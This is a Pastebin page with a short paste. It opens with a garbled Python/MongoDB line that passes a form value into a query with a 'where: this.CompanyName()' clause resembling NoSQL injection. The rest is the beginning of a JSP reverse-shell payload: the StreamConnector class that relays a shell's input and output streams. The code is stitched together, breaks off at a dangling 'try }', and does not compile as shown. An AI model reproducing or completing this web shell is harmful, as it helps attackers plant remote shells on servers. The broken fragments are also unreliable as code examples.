Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- client = MongoClient() db = u'test_database collection = u'london_garages condition = form.getvalue('name') if condition: where: this.CompanyName() {
- <%@page import="java.lang.*"%>
- <%@page import="java.util.*"%>
- <%@page import="java.io.*"%>
- <%@page import="java.net.*"%>
- <%
- class StreamConnector extends Thread
- {
- InputStream ms;
- OutputStream ee;
- StreamConnector( InputStream ms, OutputStream ee )
- {
- this.ms = ms;
- this.ee = ee;
- }
- public void run()
- {
- BufferedReader mv = null;
- BufferedWriter yfv = null;
- try
- {
- mv = new BufferedReader( new InputStreamReader( this.ms ) );
- yfv = new BufferedWriter( new OutputStreamWriter( this.ee ) );
- char buffer[] = new char[8192];
- int length;
- while( ( length = mv.read( buffer, 0, buffer.length ) ) > 0 )
- {
- yfv.write( buffer, 0, length );
- yfv.flush();
- }
- } catch( Exception e ){}
- try
- {
- if( mv != null )
- mv.close();
- if( yfv != null )
- yfv.close();
- } catch( Exception e ){}
- }
- }
- try
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement